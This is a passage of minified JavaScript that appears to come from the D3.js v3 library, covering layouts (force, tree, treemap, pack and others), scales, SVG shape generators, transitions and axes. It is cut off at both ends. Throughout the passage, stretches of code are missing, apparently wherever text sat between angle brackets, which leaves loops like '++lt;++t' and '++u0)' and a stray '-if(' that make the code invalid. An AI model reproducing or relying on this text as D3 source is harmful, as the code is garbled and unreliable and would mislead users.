t,r,l,h,p,v,y,m,b,_=M.length,w=x.length;for(r=0;w>r;++r)l=x[r],h=l.source,p=l.target,m=p.x-h.x,b=p.y-h.y,(v=m*m+b*b)&&(v=i*o[r]*((v=Math.sqrt(v))-u[r])/v,m*=v,b*=v,p.x-=m*(y=h.weight+p.weight?h.weight/(h.weight+p.weight):.5),p.y-=b*y,h.x+=m*(y=1-y),h.y+=b*y);if((y=i*d)&&(m=f[0]/2,b=f[1]/2,r=-1,y))for(;++r<_;)l=M[r],l.x+=(m-l.x)*y,l.y+=(b-l.y)*y;if(g)for(ri(t=ao.geom.quadtree(M),i,a),r=-1;++r<_;)(l=M[r]).fixed||t.visit(n(l));for(r=-1;++r<_;)l=M[r],l.fixed?(l.x=l.px,l.y=l.py):(l.x-=(l.px-(l.px=l.x))*s,l.y-=(l.py-(l.py=l.y))*s);c.tick({type:"tick",alpha:i})},l.nodes=function(n){return arguments.length?(M=n,l):M},l.links=function(n){return arguments.length?(x=n,l):x},l.size=function(n){return arguments.length?(f=n,l):f},l.linkDistance=function(n){return arguments.length?(h="function"==typeof n?n:+n,l):h},l.distance=l.linkDistance,l.linkStrength=function(n){return arguments.length?(p="function"==typeof n?n:+n,l):p},l.friction=function(n){return arguments.length?(s=+n,l):s},l.charge=function(n){return arguments.length?(g="function"==typeof n?n:+n,l):g},l.chargeDistance=function(n){return arguments.length?(v=n*n,l):Math.sqrt(v)},l.gravity=function(n){return arguments.length?(d=+n,l):d},l.theta=function(n){return arguments.length?(y=n*n,l):Math.sqrt(y)},l.alpha=function(n){return arguments.length?(n=+n,i?n>0?i=n:(e.c=null,e.t=NaN,e=null,c.end({type:"end",alpha:i=0})):n>0&&(c.start({type:"start",alpha:i=n}),e=qn(l.tick)),l):i},l.start=function(){function n(n,r){if(!e){for(e=new Array(i),l=0;i>l;++l)e[l]=[];for(l=0;c>l;++l){var u=x[l];e[u.source.index].push(u.target),e[u.target.index].push(u.source)}}for(var o,a=e[t],l=-1,f=a.length;++lt;++t)(r=M[t]).index=t,r.weight=0;for(t=0;c>t;++t)r=x[t],"number"==typeof r.source&&(r.source=M[r.source]),"number"==typeof r.target&&(r.target=M[r.target]),++r.source.weight,++r.target.weight;for(t=0;i>t;++t)r=M[t],isNaN(r.x)&&(r.x=n("x",s)),isNaN(r.y)&&(r.y=n("y",v)),isNaN(r.px)&&(r.px=r.x),isNaN(r.py)&&(r.py=r.y);if(u=[],"function"==typeof h)for(t=0;c>t;++t)u[t]=+h.call(this,x[t],t);else for(t=0;c>t;++t)u[t]=h;if(o=[],"function"==typeof p)for(t=0;c>t;++t)o[t]=+p.call(this,x[t],t);else for(t=0;c>t;++t)o[t]=p;if(a=[],"function"==typeof g)for(t=0;i>t;++t)a[t]=+g.call(this,M[t],t);else for(t=0;i>t;++t)a[t]=g;return l.resume()},l.resume=function(){return l.alpha(.1)},l.stop=function(){return l.alpha(0)},l.drag=function(){return r||(r=ao.behavior.drag().origin(m).on("dragstart.force",Qr).on("drag.force",t).on("dragend.force",ni)),arguments.length?void this.on("mouseover.force",ti).on("mouseout.force",ei).call(r):r},ao.rebind(l,c,"on")};var ml=20,Ml=1,xl=1/0;ao.layout.hierarchy=function(){function n(i){var u,o=[i],a=[];for(i.depth=0;null!=(u=o.pop());)if(a.push(u),(c=e.call(n,u,u.depth))&&(l=c.length)){for(var l,c,f;--l>=0;)o.push(f=c[l]),f.parent=u,f.depth=u.depth+1;r&&(u.value=0),u.children=c}else r&&(u.value=+r.call(n,u,u.depth)||0),delete u.children;return oi(i,function(n){var e,i;t&&(e=n.children)&&e.sort(t),r&&(i=n.parent)&&(i.value+=n.value)}),a}var t=ci,e=ai,r=li;return n.sort=function(e){return arguments.length?(t=e,n):t},n.children=function(t){return arguments.length?(e=t,n):e},n.value=function(t){return arguments.length?(r=t,n):r},n.revalue=function(t){return r&&(ui(t,function(n){n.children&&(n.value=0)}),oi(t,function(t){var e;t.children||(t.value=+r.call(n,t,t.depth)||0),(e=t.parent)&&(e.value+=t.value)})),t},n},ao.layout.partition=function(){function n(t,e,r,i){var u=t.children;if(t.x=e,t.y=t.depth*i,t.dx=r,t.dy=i,u&&(o=u.length)){var o,a,l,c=-1;for(r=t.value?r/t.value:0;++cs?-1:1),g=ao.sum(c),v=g?(s-l*p)/g:0,d=ao.range(l),y=[];return null!=e&&d.sort(e===bl?function(n,t){return c[t]-c[n]}:function(n,t){return e(o[n],o[t])}),d.forEach(function(n){y[n]={data:o[n],value:a=c[n],startAngle:f,endAngle:f+=a*v+p,padAngle:h}}),y}var t=Number,e=bl,r=0,i=Ho,u=0;return n.value=function(e){return arguments.length?(t=e,n):t},n.sort=function(t){return arguments.length?(e=t,n):e},n.startAngle=function(t){return arguments.length?(r=t,n):r},n.endAngle=function(t){return arguments.length?(i=t,n):i},n.padAngle=function(t){return arguments.length?(u=t,n):u},n};var bl={};ao.layout.stack=function(){function n(a,l){if(!(h=a.length))return a;var c=a.map(function(e,r){return t.call(n,e,r)}),f=c.map(function(t){return t.map(function(t,e){return[u.call(n,t,e),o.call(n,t,e)]})}),s=e.call(n,f,l);c=ao.permute(c,s),f=ao.permute(f,s);var h,p,g,v,d=r.call(n,f,l),y=c[0].length;for(g=0;y>g;++g)for(i.call(n,c[0][g],v=d[g],f[0][g][1]),p=1;h>p;++p)i.call(n,c[p][g],v+=f[p-1][g][1],f[p][g][1]);return a}var t=m,e=gi,r=vi,i=pi,u=si,o=hi;return n.values=function(e){return arguments.length?(t=e,n):t},n.order=function(t){return arguments.length?(e="function"==typeof t?t:_l.get(t)||gi,n):e},n.offset=function(t){return arguments.length?(r="function"==typeof t?t:wl.get(t)||vi,n):r},n.x=function(t){return arguments.length?(u=t,n):u},n.y=function(t){return arguments.length?(o=t,n):o},n.out=function(t){return arguments.length?(i=t,n):i},n};var _l=ao.map({"inside-out":function(n){var t,e,r=n.length,i=n.map(di),u=n.map(yi),o=ao.range(r).sort(function(n,t){return i[n]-i[t]}),a=0,l=0,c=[],f=[];for(t=0;r>t;++t)e=o[t],l>a?(a+=u[e],c.push(e)):(l+=u[e],f.push(e));return f.reverse().concat(c)},reverse:function(n){return ao.range(n.length).reverse()},"default":gi}),wl=ao.map({silhouette:function(n){var t,e,r,i=n.length,u=n[0].length,o=[],a=0,l=[];for(e=0;u>e;++e){for(t=0,r=0;i>t;t++)r+=n[t][e][1];r>a&&(a=r),o.push(r)}for(e=0;u>e;++e)l[e]=(a-o[e])/2;return l},wiggle:function(n){var t,e,r,i,u,o,a,l,c,f=n.length,s=n[0],h=s.length,p=[];for(p[0]=l=c=0,e=1;h>e;++e){for(t=0,i=0;f>t;++t)i+=n[t][e][1];for(t=0,u=0,a=s[e][0]-s[e-1][0];f>t;++t){for(r=0,o=(n[t][e][1]-n[t][e-1][1])/(2*a);t>r;++r)o+=(n[r][e][1]-n[r][e-1][1])/a;u+=o*n[t][e][1]}p[e]=l-=i?u/i*a:0,c>l&&(c=l)}for(e=0;h>e;++e)p[e]-=c;return p},expand:function(n){var t,e,r,i=n.length,u=n[0].length,o=1/i,a=[];for(e=0;u>e;++e){for(t=0,r=0;i>t;t++)r+=n[t][e][1];if(r)for(t=0;i>t;t++)n[t][e][1]/=r;else for(t=0;i>t;t++)n[t][e][1]=o}for(e=0;u>e;++e)a[e]=0;return a},zero:vi});ao.layout.histogram=function(){function n(n,u){for(var o,a,l=[],c=n.map(e,this),f=r.call(this,c,u),s=i.call(this,f,c,u),u=-1,h=c.length,p=s.length-1,g=t?1:1/h;++u0)for(u=-1;++u=f[0]&&a<=f[1]&&(o=l[ao.bisect(s,a,1,p)-1],o.y+=g,o.push(n[u]));return l}var t=!0,e=Number,r=bi,i=Mi;return n.value=function(t){return arguments.length?(e=t,n):e},n.range=function(t){return arguments.length?(r=En(t),n):r},n.bins=function(t){return arguments.length?(i="number"==typeof t?function(n){return xi(n,t)}:En(t),n):i},n.frequency=function(e){return arguments.length?(t=!!e,n):t},n},ao.layout.pack=function(){function n(n,u){var o=e.call(this,n,u),a=o[0],l=i[0],c=i[1],f=null==t?Math.sqrt:"function"==typeof t?t:function(){return t};if(a.x=a.y=0,oi(a,function(n){n.r=+f(n.value)}),oi(a,Ni),r){var s=r*(t?1:Math.max(2*a.r/l,2*a.r/c))/2;oi(a,function(n){n.r+=s}),oi(a,Ni),oi(a,function(n){n.r-=s})}return Ci(a,l/2,c/2,t?1:1/Math.max(2*a.r/l,2*a.r/c)),o}var t,e=ao.layout.hierarchy().sort(_i),r=0,i=[1,1];return n.size=function(t){return arguments.length?(i=t,n):i},n.radius=function(e){return arguments.length?(t=null==e||"function"==typeof e?e:+e,n):t},n.padding=function(t){return arguments.length?(r=+t,n):r},ii(n,e)},ao.layout.tree=function(){function n(n,i){var f=o.call(this,n,i),s=f[0],h=t(s);if(oi(h,e),h.parent.m=-h.z,ui(h,r),c)ui(s,u);else{var p=s,g=s,v=s;ui(s,function(n){n.xg.x&&(g=n),n.depth>v.depth&&(v=n)});var d=a(p,g)/2-p.x,y=l[0]/(g.x+a(g,p)/2+d),m=l[1]/(v.depth||1);ui(s,function(n){n.x=(n.x+d)*y,n.y=n.depth*m})}return f}function t(n){for(var t,e={A:null,children:[n]},r=[e];null!=(t=r.pop());)for(var i,u=t.children,o=0,a=u.length;a>o;++o)r.push((u[o]=i={_:u[o],parent:t,children:(i=u[o].children)&&i.slice()||[],A:null,a:null,z:0,m:0,c:0,s:0,t:null,i:o}).a=i);return e.children[0]}function e(n){var t=n.children,e=n.parent.children,r=n.i?e[n.i-1]:null;if(t.length){Di(n);var u=(t[0].z+t[t.length-1].z)/2;r?(n.z=r.z+a(n._,r._),n.m=n.z-u):n.z=u}else r&&(n.z=r.z+a(n._,r._));n.parent.A=i(n,r,n.parent.A||e[0])}function r(n){n._.x=n.z+n.parent.m,n.m+=n.parent.m}function i(n,t,e){if(t){for(var r,i=n,u=n,o=t,l=i.parent.children[0],c=i.m,f=u.m,s=o.m,h=l.m;o=Ti(o),i=qi(i),o&&i;)l=qi(l),u=Ti(u),u.a=n,r=o.z+s-i.z-c+a(o._,i._),r>0&&(Ri(Pi(o,n,e),n,r),c+=r,f+=r),s+=o.m,c+=i.m,h+=l.m,f+=u.m;o&&!Ti(u)&&(u.t=o,u.m+=s-f),i&&!qi(l)&&(l.t=i,l.m+=c-h,e=n)}return e}function u(n){n.x*=l[0],n.y=n.depth*l[1]}var o=ao.layout.hierarchy().sort(null).value(null),a=Li,l=[1,1],c=null;return n.separation=function(t){return arguments.length?(a=t,n):a},n.size=function(t){return arguments.length?(c=null==(l=t)?u:null,n):c?null:l},n.nodeSize=function(t){return arguments.length?(c=null==(l=t)?null:u,n):c?l:null},ii(n,o)},ao.layout.cluster=function(){function n(n,u){var o,a=t.call(this,n,u),l=a[0],c=0;oi(l,function(n){var t=n.children;t&&t.length?(n.x=ji(t),n.y=Ui(t)):(n.x=o?c+=e(n,o):0,n.y=0,o=n)});var f=Fi(l),s=Hi(l),h=f.x-e(f,s)/2,p=s.x+e(s,f)/2;return oi(l,i?function(n){n.x=(n.x-l.x)*r[0],n.y=(l.y-n.y)*r[1]}:function(n){n.x=(n.x-h)/(p-h)*r[0],n.y=(1-(l.y?n.y/l.y:1))*r[1]}),a}var t=ao.layout.hierarchy().sort(null).value(null),e=Li,r=[1,1],i=!1;return n.separation=function(t){return arguments.length?(e=t,n):e},n.size=function(t){return arguments.length?(i=null==(r=t),n):i?null:r},n.nodeSize=function(t){return arguments.length?(i=null!=(r=t),n):i?r:null},ii(n,t)},ao.layout.treemap=function(){function n(n,t){for(var e,r,i=-1,u=n.length;++it?0:t),e.area=isNaN(r)||0>=r?0:r}function t(e){var u=e.children;if(u&&u.length){var o,a,l,c=s(e),f=[],h=u.slice(),g=1/0,v="slice"===p?c.dx:"dice"===p?c.dy:"slice-dice"===p?1&e.depth?c.dy:c.dx:Math.min(c.dx,c.dy);for(n(h,c.dx*c.dy/e.value),f.area=0;(l=h.length)>0;)f.push(o=h[l-1]),f.area+=o.area,"squarify"!==p||(a=r(f,v))<=g?(h.pop(),g=a):(f.area-=f.pop().area,i(f,v,c,!1),v=Math.min(c.dx,c.dy),f.length=f.area=0,g=1/0);f.length&&(i(f,v,c,!0),f.length=f.area=0),u.forEach(t)}}function e(t){var r=t.children;if(r&&r.length){var u,o=s(t),a=r.slice(),l=[];for(n(a,o.dx*o.dy/t.value),l.area=0;u=a.pop();)l.push(u),l.area+=u.area,null!=u.z&&(i(l,u.z?o.dx:o.dy,o,!a.length),l.length=l.area=0);r.forEach(e)}}function r(n,t){for(var e,r=n.area,i=0,u=1/0,o=-1,a=n.length;++oe&&(u=e),e>i&&(i=e));return r*=r,t*=t,r?Math.max(t*i*g/r,r/(t*u*g)):1/0}function i(n,t,e,r){var i,u=-1,o=n.length,a=e.x,c=e.y,f=t?l(n.area/t):0; -if(t==e.dx){for((r||f>e.dy)&&(f=e.dy);++ue.dx)&&(f=e.dx);++ue&&(t=1),1>e&&(n=0),function(){var e,r,i;do e=2*Math.random()-1,r=2*Math.random()-1,i=e*e+r*r;while(!i||i>1);return n+t*e*Math.sqrt(-2*Math.log(i)/i)}},logNormal:function(){var n=ao.random.normal.apply(ao,arguments);return function(){return Math.exp(n())}},bates:function(n){var t=ao.random.irwinHall(n);return function(){return t()/n}},irwinHall:function(n){return function(){for(var t=0,e=0;n>e;e++)t+=Math.random();return t}}},ao.scale={};var Sl={floor:m,ceil:m};ao.scale.linear=function(){return Wi([0,1],[0,1],Mr,!1)};var kl={s:1,g:1,p:1,r:1,e:1};ao.scale.log=function(){return ru(ao.scale.linear().domain([0,1]),10,!0,[1,10])};var Nl=ao.format(".0e"),El={floor:function(n){return-Math.ceil(-n)},ceil:function(n){return-Math.floor(-n)}};ao.scale.pow=function(){return iu(ao.scale.linear(),1,[0,1])},ao.scale.sqrt=function(){return ao.scale.pow().exponent(.5)},ao.scale.ordinal=function(){return ou([],{t:"range",a:[[]]})},ao.scale.category10=function(){return ao.scale.ordinal().range(Al)},ao.scale.category20=function(){return ao.scale.ordinal().range(Cl)},ao.scale.category20b=function(){return ao.scale.ordinal().range(zl)},ao.scale.category20c=function(){return ao.scale.ordinal().range(Ll)};var Al=[2062260,16744206,2924588,14034728,9725885,9197131,14907330,8355711,12369186,1556175].map(xn),Cl=[2062260,11454440,16744206,16759672,2924588,10018698,14034728,16750742,9725885,12955861,9197131,12885140,14907330,16234194,8355711,13092807,12369186,14408589,1556175,10410725].map(xn),zl=[3750777,5395619,7040719,10264286,6519097,9216594,11915115,13556636,9202993,12426809,15186514,15190932,8666169,11356490,14049643,15177372,8077683,10834324,13528509,14589654].map(xn),Ll=[3244733,7057110,10406625,13032431,15095053,16616764,16625259,16634018,3253076,7652470,10607003,13101504,7695281,10394312,12369372,14342891,6513507,9868950,12434877,14277081].map(xn);ao.scale.quantile=function(){return au([],[])},ao.scale.quantize=function(){return lu(0,1,[0,1])},ao.scale.threshold=function(){return cu([.5],[0,1])},ao.scale.identity=function(){return fu([0,1])},ao.svg={},ao.svg.arc=function(){function n(){var n=Math.max(0,+e.apply(this,arguments)),c=Math.max(0,+r.apply(this,arguments)),f=o.apply(this,arguments)-Io,s=a.apply(this,arguments)-Io,h=Math.abs(s-f),p=f>s?0:1;if(n>c&&(g=c,c=n,n=g),h>=Oo)return t(c,p)+(n?t(n,1-p):"")+"Z";var g,v,d,y,m,M,x,b,_,w,S,k,N=0,E=0,A=[];if((y=(+l.apply(this,arguments)||0)/2)&&(d=u===ql?Math.sqrt(n*n+c*c):+u.apply(this,arguments),p||(E*=-1),c&&(E=tn(d/c*Math.sin(y))),n&&(N=tn(d/n*Math.sin(y)))),c){m=c*Math.cos(f+E),M=c*Math.sin(f+E),x=c*Math.cos(s-E),b=c*Math.sin(s-E);var C=Math.abs(s-f-2*E)<=Fo?0:1;if(E&&yu(m,M,x,b)===p^C){var z=(f+s)/2;m=c*Math.cos(z),M=c*Math.sin(z),x=b=null}}else m=M=0;if(n){_=n*Math.cos(s-N),w=n*Math.sin(s-N),S=n*Math.cos(f+N),k=n*Math.sin(f+N);var L=Math.abs(f-s+2*N)<=Fo?0:1;if(N&&yu(_,w,S,k)===1-p^L){var q=(f+s)/2;_=n*Math.cos(q),w=n*Math.sin(q),S=k=null}}else _=w=0;if(h>Uo&&(g=Math.min(Math.abs(c-n)/2,+i.apply(this,arguments)))>.001){v=c>n^p?0:1;var T=g,R=g;if(Fo>h){var D=null==S?[_,w]:null==x?[m,M]:Re([m,M],[S,k],[x,b],[_,w]),P=m-D[0],U=M-D[1],j=x-D[0],F=b-D[1],H=1/Math.sin(Math.acos((P*j+U*F)/(Math.sqrt(P*P+U*U)*Math.sqrt(j*j+F*F)))/2),O=Math.sqrt(D[0]*D[0]+D[1]*D[1]);R=Math.min(g,(n-O)/(H-1)),T=Math.min(g,(c-O)/(H+1))}if(null!=x){var I=mu(null==S?[_,w]:[S,k],[m,M],c,T,p),Y=mu([x,b],[_,w],c,T,p);g===T?A.push("M",I[0],"A",T,",",T," 0 0,",v," ",I[1],"A",c,",",c," 0 ",1-p^yu(I[1][0],I[1][1],Y[1][0],Y[1][1]),",",p," ",Y[1],"A",T,",",T," 0 0,",v," ",Y[0]):A.push("M",I[0],"A",T,",",T," 0 1,",v," ",Y[0])}else A.push("M",m,",",M);if(null!=S){var Z=mu([m,M],[S,k],n,-R,p),V=mu([_,w],null==x?[m,M]:[x,b],n,-R,p);g===R?A.push("L",V[0],"A",R,",",R," 0 0,",v," ",V[1],"A",n,",",n," 0 ",p^yu(V[1][0],V[1][1],Z[1][0],Z[1][1]),",",1-p," ",Z[1],"A",R,",",R," 0 0,",v," ",Z[0]):A.push("L",V[0],"A",R,",",R," 0 0,",v," ",Z[0])}else A.push("L",_,",",w)}else A.push("M",m,",",M),null!=x&&A.push("A",c,",",c," 0 ",C,",",p," ",x,",",b),A.push("L",_,",",w),null!=S&&A.push("A",n,",",n," 0 ",L,",",1-p," ",S,",",k);return A.push("Z"),A.join("")}function t(n,t){return"M0,"+n+"A"+n+","+n+" 0 1,"+t+" 0,"+-n+"A"+n+","+n+" 0 1,"+t+" 0,"+n}var e=hu,r=pu,i=su,u=ql,o=gu,a=vu,l=du;return n.innerRadius=function(t){return arguments.length?(e=En(t),n):e},n.outerRadius=function(t){return arguments.length?(r=En(t),n):r},n.cornerRadius=function(t){return arguments.length?(i=En(t),n):i},n.padRadius=function(t){return arguments.length?(u=t==ql?ql:En(t),n):u},n.startAngle=function(t){return arguments.length?(o=En(t),n):o},n.endAngle=function(t){return arguments.length?(a=En(t),n):a},n.padAngle=function(t){return arguments.length?(l=En(t),n):l},n.centroid=function(){var n=(+e.apply(this,arguments)+ +r.apply(this,arguments))/2,t=(+o.apply(this,arguments)+ +a.apply(this,arguments))/2-Io;return[Math.cos(t)*n,Math.sin(t)*n]},n};var ql="auto";ao.svg.line=function(){return Mu(m)};var Tl=ao.map({linear:xu,"linear-closed":bu,step:_u,"step-before":wu,"step-after":Su,basis:zu,"basis-open":Lu,"basis-closed":qu,bundle:Tu,cardinal:Eu,"cardinal-open":ku,"cardinal-closed":Nu,monotone:Fu});Tl.forEach(function(n,t){t.key=n,t.closed=/-closed$/.test(n)});var Rl=[0,2/3,1/3,0],Dl=[0,1/3,2/3,0],Pl=[0,1/6,2/3,1/6];ao.svg.line.radial=function(){var n=Mu(Hu);return n.radius=n.x,delete n.x,n.angle=n.y,delete n.y,n},wu.reverse=Su,Su.reverse=wu,ao.svg.area=function(){return Ou(m)},ao.svg.area.radial=function(){var n=Ou(Hu);return n.radius=n.x,delete n.x,n.innerRadius=n.x0,delete n.x0,n.outerRadius=n.x1,delete n.x1,n.angle=n.y,delete n.y,n.startAngle=n.y0,delete n.y0,n.endAngle=n.y1,delete n.y1,n},ao.svg.chord=function(){function n(n,a){var l=t(this,u,n,a),c=t(this,o,n,a);return"M"+l.p0+r(l.r,l.p1,l.a1-l.a0)+(e(l,c)?i(l.r,l.p1,l.r,l.p0):i(l.r,l.p1,c.r,c.p0)+r(c.r,c.p1,c.a1-c.a0)+i(c.r,c.p1,l.r,l.p0))+"Z"}function t(n,t,e,r){var i=t.call(n,e,r),u=a.call(n,i,r),o=l.call(n,i,r)-Io,f=c.call(n,i,r)-Io;return{r:u,a0:o,a1:f,p0:[u*Math.cos(o),u*Math.sin(o)],p1:[u*Math.cos(f),u*Math.sin(f)]}}function e(n,t){return n.a0==t.a0&&n.a1==t.a1}function r(n,t,e){return"A"+n+","+n+" 0 "+ +(e>Fo)+",1 "+t}function i(n,t,e,r){return"Q 0,0 "+r}var u=Me,o=xe,a=Iu,l=gu,c=vu;return n.radius=function(t){return arguments.length?(a=En(t),n):a},n.source=function(t){return arguments.length?(u=En(t),n):u},n.target=function(t){return arguments.length?(o=En(t),n):o},n.startAngle=function(t){return arguments.length?(l=En(t),n):l},n.endAngle=function(t){return arguments.length?(c=En(t),n):c},n},ao.svg.diagonal=function(){function n(n,i){var u=t.call(this,n,i),o=e.call(this,n,i),a=(u.y+o.y)/2,l=[u,{x:u.x,y:a},{x:o.x,y:a},o];return l=l.map(r),"M"+l[0]+"C"+l[1]+" "+l[2]+" "+l[3]}var t=Me,e=xe,r=Yu;return n.source=function(e){return arguments.length?(t=En(e),n):t},n.target=function(t){return arguments.length?(e=En(t),n):e},n.projection=function(t){return arguments.length?(r=t,n):r},n},ao.svg.diagonal.radial=function(){var n=ao.svg.diagonal(),t=Yu,e=n.projection;return n.projection=function(n){return arguments.length?e(Zu(t=n)):t},n},ao.svg.symbol=function(){function n(n,r){return(Ul.get(t.call(this,n,r))||$u)(e.call(this,n,r))}var t=Xu,e=Vu;return n.type=function(e){return arguments.length?(t=En(e),n):t},n.size=function(t){return arguments.length?(e=En(t),n):e},n};var Ul=ao.map({circle:$u,cross:function(n){var t=Math.sqrt(n/5)/2;return"M"+-3*t+","+-t+"H"+-t+"V"+-3*t+"H"+t+"V"+-t+"H"+3*t+"V"+t+"H"+t+"V"+3*t+"H"+-t+"V"+t+"H"+-3*t+"Z"},diamond:function(n){var t=Math.sqrt(n/(2*Fl)),e=t*Fl;return"M0,"+-t+"L"+e+",0 0,"+t+" "+-e+",0Z"},square:function(n){var t=Math.sqrt(n)/2;return"M"+-t+","+-t+"L"+t+","+-t+" "+t+","+t+" "+-t+","+t+"Z"},"triangle-down":function(n){var t=Math.sqrt(n/jl),e=t*jl/2;return"M0,"+e+"L"+t+","+-e+" "+-t+","+-e+"Z"},"triangle-up":function(n){var t=Math.sqrt(n/jl),e=t*jl/2;return"M0,"+-e+"L"+t+","+e+" "+-t+","+e+"Z"}});ao.svg.symbolTypes=Ul.keys();var jl=Math.sqrt(3),Fl=Math.tan(30*Yo);Co.transition=function(n){for(var t,e,r=Hl||++Zl,i=Ku(n),u=[],o=Ol||{time:Date.now(),ease:Nr,delay:0,duration:250},a=-1,l=this.length;++au;u++){i.push(t=[]);for(var e=this[u],a=0,l=e.length;l>a;a++)(r=e[a])&&n.call(r,r.__data__,a,u)&&t.push(r)}return Wu(i,this.namespace,this.id)},Yl.tween=function(n,t){var e=this.id,r=this.namespace;return arguments.length<2?this.node()[r][e].tween.get(n):Y(this,null==t?function(t){t[r][e].tween.remove(n)}:function(i){i[r][e].tween.set(n,t)})},Yl.attr=function(n,t){function e(){this.removeAttribute(a)}function r(){this.removeAttributeNS(a.space,a.local)}function i(n){return null==n?e:(n+="",function(){var t,e=this.getAttribute(a);return e!==n&&(t=o(e,n),function(n){this.setAttribute(a,t(n))})})}function u(n){return null==n?r:(n+="",function(){var t,e=this.getAttributeNS(a.space,a.local);return e!==n&&(t=o(e,n),function(n){this.setAttributeNS(a.space,a.local,t(n))})})}if(arguments.length<2){for(t in n)this.attr(t,n[t]);return this}var o="transform"==n?$r:Mr,a=ao.ns.qualify(n);return Ju(this,"attr."+n,t,a.local?u:i)},Yl.attrTween=function(n,t){function e(n,e){var r=t.call(this,n,e,this.getAttribute(i));return r&&function(n){this.setAttribute(i,r(n))}}function r(n,e){var r=t.call(this,n,e,this.getAttributeNS(i.space,i.local));return r&&function(n){this.setAttributeNS(i.space,i.local,r(n))}}var i=ao.ns.qualify(n);return this.tween("attr."+n,i.local?r:e)},Yl.style=function(n,e,r){function i(){this.style.removeProperty(n)}function u(e){return null==e?i:(e+="",function(){var i,u=t(this).getComputedStyle(this,null).getPropertyValue(n);return u!==e&&(i=Mr(u,e),function(t){this.style.setProperty(n,i(t),r)})})}var o=arguments.length;if(3>o){if("string"!=typeof n){2>o&&(e="");for(r in n)this.style(r,n[r],e);return this}r=""}return Ju(this,"style."+n,e,u)},Yl.styleTween=function(n,e,r){function i(i,u){var o=e.call(this,i,u,t(this).getComputedStyle(this,null).getPropertyValue(n));return o&&function(t){this.style.setProperty(n,o(t),r)}}return arguments.length<3&&(r=""),this.tween("style."+n,i)},Yl.text=function(n){return Ju(this,"text",n,Gu)},Yl.remove=function(){var n=this.namespace;return this.each("end.transition",function(){var t;this[n].count<2&&(t=this.parentNode)&&t.removeChild(this)})},Yl.ease=function(n){var t=this.id,e=this.namespace;return arguments.length<1?this.node()[e][t].ease:("function"!=typeof n&&(n=ao.ease.apply(ao,arguments)),Y(this,function(r){r[e][t].ease=n}))},Yl.delay=function(n){var t=this.id,e=this.namespace;return arguments.length<1?this.node()[e][t].delay:Y(this,"function"==typeof n?function(r,i,u){r[e][t].delay=+n.call(r,r.__data__,i,u)}:(n=+n,function(r){r[e][t].delay=n}))},Yl.duration=function(n){var t=this.id,e=this.namespace;return arguments.length<1?this.node()[e][t].duration:Y(this,"function"==typeof n?function(r,i,u){r[e][t].duration=Math.max(1,n.call(r,r.__data__,i,u))}:(n=Math.max(1,n),function(r){r[e][t].duration=n}))},Yl.each=function(n,t){var e=this.id,r=this.namespace;if(arguments.length<2){var i=Ol,u=Hl;try{Hl=e,Y(this,function(t,i,u){Ol=t[r][e],n.call(t,t.__data__,i,u)})}finally{Ol=i,Hl=u}}else Y(this,function(i){var u=i[r][e];(u.event||(u.event=ao.dispatch("start","end","interrupt"))).on(n,t)});return this},Yl.transition=function(){for(var n,t,e,r,i=this.id,u=++Zl,o=this.namespace,a=[],l=0,c=this.length;c>l;l++){a.push(n=[]);for(var t=this[l],f=0,s=t.length;s>f;f++)(e=t[f])&&(r=e[o][i],Qu(e,f,o,u,{time:r.time,ease:r.ease,delay:r.delay+r.duration,duration:r.duration})),n.push(e)}return Wu(a,o,u)},ao.svg.axis=function(){function n(n){n.each(function(){var n,c=ao.select(this),f=this.__chart__||e,s=this.__chart__=e.copy(),h=null==l?s.ticks?s.ticks.apply(s,a):s.domain():l,p=null==t?s.tickFormat?s.tickFormat.apply(s,a):m:t,g=c.selectAll(".tick").data(h,s),v=g.enter().insert("g",".domain").attr("class","tick").style("opacity",Uo),d=ao.transition(g.exit()).style("opacity",Uo).remove(),y=ao.transition(g.order()).style("opacity",1),M=Math.max(i,0)+o,x=Zi(s),b=c.selectAll(".domain").data([0]),_=(b.enter().append("path").attr("class","domain"),ao.transition(b));v.append("line"),v.append("text");var w,S,k,N,E=v.select("line"),A=y.select("line"),C=g.select("text").text(p),z=v.select("text"),L=y.select("text"),q="top"===r||"left"===r?-1:1;if("bottom"===r||"top"===r?(n=no,w="x",k="y",S="x2",N="y2",C.attr("dy",0>q?"0em":".71em").style("text-anchor","middle"),_.attr("d","M"+x[0]+","+q*u+"V0H"+x[1]+"V"+q*u)):(n=to,w="y",k="x",S="y2",N="x2",C.attr("dy",".32em").style("text-anchor",0>q?"end":"start"),_.attr("d","M"+q*u+","+x[0]+"H0V"+x[1]+"H"+q*u)),E.attr(N,q*i),z.attr(k,q*M),A.attr(S,0).attr(N,q*i),L.attr(w,0).attr(k,q*M),s.rangeBand){var T=s,R=T.rangeBand()/2;f=s=function(n){return T(n)+R}}else f.rangeBand?f=s:d.call(n,s,f);v.call(n,f,s),y.call(n,s,s)})}var t,e=ao.scale.linear(),r=Vl,i=6,u=6,o=3,a=[10],l=null;return n.scale=function(t){return arguments.length?(e=t,n):e},n.orient=function(t){return arguments.length?(r=t in Xl?t+"":Vl,n):r},n.ticks=function(){return arguments.length?(a=co(arguments),n):a},n.tickValues=function(t){return arguments.length?(l=t,n):l},n.tickFormat=function(e){return arguments.length?(t=e,n):t},n.tickSize=function(t){var e=arguments.length;return e?(i=+t,u=+arguments[e-1],n):i},n.innerTickSize=function(t){return arguments.length?(i=+t,n):i},n.outerTickSize=function(t){return arguments.length?(u=+t,n):u},n.tickPadding=function(t){return arguments.length?(o=+t,n):o},n.tickSubdivide=function(){return arguments.length&&n},n};var Vl="bottom",Xl={top:1,right:1,bottom:1,left:1};ao.svg.brush=function(){function n(t){t.each(function(){var t=ao.select(this).style("pointer-events","all").style("-webkit-tap-highlight-color","rgba(0,0,0,0)").on("mousedown.brush",u).on("touchstart.brush",u),o=t.selectAll(".background").data([0]);o.enter().append("rect").attr("class","background").style("visibility","hidden").style("cursor","crosshair"),t.selectAll(".extent").data([0]).enter().append("rect").attr("class","extent").style("cursor","move");var a=t.selectAll(".resize").data(v,m);a.exit().remove(),a.enter().append("g").attr("class",function(n){return"resize "+n}).style("cursor",function(n){return $l[n]}).append("rect").attr("x",function(n){return/[ew]$/.test(n)?-3:null}).attr("y",function(n){return/^[ns]/.test(n)?-3:null}).attr("width",6).attr("height",6).style("visibility","hidden"),a.style("display",n.empty()?"none":null);var l,s=ao.transition(t),h=ao.transition(o);c&&(l=Zi(c),h.attr("x",l[0]).attr("width",l[1]-l[0]),r(s)),f&&(l=Zi(f),h.attr("y",l[0]).attr("height",l[1]-l[0]),i(s)),e(s)})}function 